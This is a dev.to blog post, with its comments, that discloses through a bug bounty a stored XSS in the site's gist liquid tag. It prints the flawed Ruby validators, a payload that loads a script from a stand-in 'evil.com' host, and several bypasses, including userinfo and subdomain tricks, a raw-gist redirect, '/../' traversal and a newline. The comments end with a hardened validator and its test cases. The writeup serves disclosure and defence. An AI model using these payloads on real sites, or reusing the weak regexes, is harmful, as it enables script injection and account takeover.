loading...
Cover image for Pwned Together: Hacking dev.to

Pwned Together: Hacking dev.to

antogarand profile image Antony Garand ・4 min read

Intro

After reading this great post regarding the source of Dev.to, I got inspired.
In order to celebrate my 500th follower on here, I gave myself the challenge to hack dev.to!

In the end, I found a stored XSS in a custom liquid tag. This means that if you viewed an infected blog post, I could have controlled your browser, and execute actions on your behalf!

Context

An XSS is a flaw in which a malicious user, in this case me, can inject javascript code into the page.
With JavaScript, specially in a single page application, I can do pretty much anything with your account on this website!

I could update your profile, publish new posts, like and comment on publications, and much more!

Having an XSS means I have full control of the website from the browser's perspective, and therefore is a pretty severe issue.

There are different type of XSS:

  • Reflected XSS: Requires the user to access a malicious link to be triggered. This means you would need to be redirected or to click a link in order for the exploit to be triggered.
  • Stored XSS: This is an XSS which is saved on the server, and therefore is presented by the website itself. This is the case of a specially crafted blog post. It is a lot more severe as it can be triggered by normal user behavior, and replicated for everyone.

As an example, a stored XSS was found on TweetDeck few years ago, where the malicious code was retweeting itself and ended up with a ridiculous amount of retweets:

Vulnerability

Original code

As mentioned on the Editor Guide, there are many custom Liquid Tags implemented in here. One of those was newly created by Josh in the mentioned blog post, so I decided to start there to check out for security issues!

The source for these liquid tags live under /app/liquid_tags folder.
Quickly, the gist interested me: The given tag was rendered directly into a script tag!

html = <<~HTML
  <div class="ltag_gist-liquid-tag">
      <script id="gist-ltag" src="#{@link}.js"></script>
  </div>
HTML

And there were many workarounds for its validation:

def valid_link?(link)
    link.include?("gist.github.com")
end

The usage for the gist link is the following in the documentation:

{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}

Adding .js gives us a script which creates a pretty embed around the content of the gist:

As the validation was not sufficient, only checking if the link contained gist.github.com, it could be bypassed:

{% gist //evil.com/script#gist.github.com %} would be converted into <script src="//evil.com/script#gist.github.com.js"></script>
The previous gist would therefore load an unsafe script on the blog post, making it a stored xss!

Once the dev.team was notified, they quickly released a patch by updating the valid_link function:

def valid_link?(link)
    (link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end

Bypass 1

This patch ensured that the given link started with http[s]://gist.github.com.
While better than the previous validation, this is still not sufficient to protect against attacks!

The following two domains would pass this validation, but still load an external script:

The first one uses the Basic Authentication Scheme and sends gist.github.com as username to the evil.com website.

The second one is simply a subdomain of evil.com.

This issue was quickly fixed by adding a required trailing slash after gist.github.com, which correctly mitigates this issue.

def valid_link?(link)
    (link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end

Bypass 2

The previous patch made sure that the domain requested was gist.github.com, which is great!

But there still was a bypass possible due to the nature of the website.

When viewing raw gist files, in this case poc.js, the raw link is from the following format: https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]

When replacing the domain gist.githubusercontent.com with gist.github.com, we are actually redirected to the original githubusercontent.com domain!
This means that the raw file poc.js from my gist can be accessed from:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js

Notice the domain on the second URL: gist.github.com

This correctly bypasses the given patch as the raw file would be served from the gist.github.com domain.

The patch was successfully applied earlier today, by forcing the given gist to a more strict regex: Commit

  def valid_link?(link)
    (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
      zero?
  end

Conclusion

After disclosing the original bug, following the dev.to bug bounty program, the dev team was quick to react and patch those bugs.
I managed to earn myself a place in the security hall of fame, a sweet 150$ bounty and a pack of stickers.

By having the source code available and a bug bounty program, many more people will scan the websites for issues, which makes the website more secure.

Finally, the overall experience has been great!
I would strongly recommend everyone to checkout the source code, report bugs and security issues you find and submit pull requests improving the general security of the website.

If you're looking for somewhere to start, your first commit could be as simple as replacing http links with https!

Posted on by:

antogarand profile

Antony Garand

@antogarand

Security enthusiast, FullStack developer, challenge solver

Discussion

markdown guide
 

Thanks for your awesome work. I promise we’ll keep upping the bug bounty program as we go, so keep up with the disclosures!

 

Is there a hackerone-style disclosure program?

 

Nice finding Antony,
For your information, the latest commit was still exploitable :) here is the poc to bypass the regex :
gist.github.com/n1nj4sec/9fc83e8bc... /../9fc83e8bc780e5c10739933ec3347460/raw/b46eef9822a00473f720680ed664873c3e20af9f/test.js" (the trick is to use /../)
and the fix implemented :
github.com/thepracticaldev/dev.to/...

 

This patch was also vulnerable ;)

As the regex ended with $, we could bypass it with a newline, then /../../.. + raw gist

github.com/thepracticaldev/dev.to/...

This was fixed by using \A and \Z instead of ^ and $!

 
 

@ben , isn't there an URI class or something like that in Ruby? I think it should handle parsing links much better than custom regex.

 

Probably you can slightly simplify the code using URI::regexp, is this what you mean?

 

Kinda. I think Ruby provides something like:

# pseudocode
link = URI.parse "http://evil.com/#gist.github.com/whatever"
link.host # evil.com

This would work for preventing non-gist-github.com hosts, but I think we strayed away from this because it wouldn't prevent Bypass 2, where JS is injected via a raw gist link.

We could do something like this:

URI.parse(link).host == "gist.github.com" &&
  (link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)
    &.zero?

I think with the regex though it would be redundant to check the host.

How about something like this?

require 'uri'

def valid?(link)
  uri = URI.parse link
  return false if uri.scheme != 'https'
  return false if uri.userinfo
  return false if uri.host != 'gist.github.com'
  return false if uri.port != 443 # I think it has to be this if its https?
  return false if uri.fragment
  return false if uri.query

  # idk if old gist ids could be arbitrary chars,
  # but the 10 or so I looked at all seemed to be hex
  path, gist = File.split uri.path
  return false unless gist && gist.match?(/\A[0-9a-f]{32}\z/)

  path, user = File.split path
  return false unless user && user.match?(/\A[a-zA-Z0-9\-]{1,39}\z/)

  path == '/'
end

Plus, a bunch of test cases:

valid = [
  # suggested one
  "https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa",
  # max name size (based on the existing regex, I didn't verify that it matches Github's rules)
  "https://gist.github.com/aaaaaaaaaabbbbbbbbbbccccccccccddddddddd/4bb1682ce590dc42402b2edddbca7aaa",
  # min name size
  "https://gist.github.com/a/4bb1682ce590dc42402b2edddbca7aaa",
  # each of the gist id char values (seems to be hex)
  "https://gist.github.com/a/0123456789abcdef0123456789abcdef",
  # user can have a dash in their name
  "https://gist.github.com/quincy-larson/4bb1682ce590dc42402b2edddbca7aaa",
  # just for contrast with some of the tests below
  "https://gist.github.com/a/0000000000111111111122222222223a",
]

invalid = [
  # the same as the valid one, except it's http. I actually thought browsers
  # would refuse to make http requests from https sites, but either way, it
  # should be disallowed as it's MITMable
  "http://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa",
  # host
  "https://evil.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa",
  # auth credentials
  "https://user:pass@gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa",
  # http port (not totally sure this matters)
  "https://gist.github.com:80/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa",
  # query
  "https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa?q",
  # fragment
  "https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa#f",
  # this one exceeds the max name size
  "https://gist.github.com/aaaaaaaaaabbbbbbbbbbccccccccccddddddddde/4bb1682ce590dc42402b2edddbca7aaa",
  # less than min name size
  "https://gist.github.com//4bb1682ce590dc42402b2edddbca7aaa",
  # invalid gist id chars (outside the hex range)
  "https://gist.github.com/a/0000000000111111111122222222223x",
  # quick test showed that GH was case sensitive about the hex in the gist id
  "https://gist.github.com/a/0000000000111111111122222222223A",
  # too few path segments
  "https://gist.github.com",
  "https://gist.github.com/",
  "https://gist.github.com/a",
  # too many path segments
  "https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa/4bb1682ce590dc42402b2edddbca7aaa",
  # these ones were used to bypass validity in the blog
  "//evil.com/script#gist.github.com",
  "https://gist.github.com@evil.com/",
  "https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js",
]

valid.all?    { |link| valid? link } # => true
invalid.none? { |link| valid? link } # => true

Although, we should probably check whether you're allowed to have unicode in your username 🤔

@joshcheek gonna take that valid? method for checking giphy links. :)

Also that's pretty great. Might end up implementing it for the gist Liquid tag.

 

What an excellent post!

I learned so much from this, and I'm not even a ruby developer!

Really informative and really, really well explained without going over the top with the geekness!

Well done!

 

Great info and writeup! Thank you for sharing. I have to ask a few questions if you wouldnt mind answering. How much time did you spend on this? What is your primary motivation; curiosity, cash, just because? Was the meager $150 reward worth you efforts?

 

I found the initial XSS within 15 minutes, but the variations and bypasses took few hours.

The primary motivation is to make the internet more secure, and fun part of breaking websites. The challenges and the reward of having an alert is fun.

The 150$ reward is plenty, I'm doing this for fun, and I like this website, so having a reward is only a nice bonus.

 
 

Security is something that more developers need to take seriously. It's great to see an open source project like this have the bounty program.

Great work!

 

Very cool! Good explanations as well.

 

Great job Antony and thanks for the detailed explanation!

 

If dev.to was not open source, would you still be able to find this discovery? How much more effort? Using different approach? Thanks

 

Without the website being open source, I would have to perform a black box audit, and finding those vulnerabilities is definitely possible but might require more time.

 
 

Oh wow, I was sweating as I read this! lol.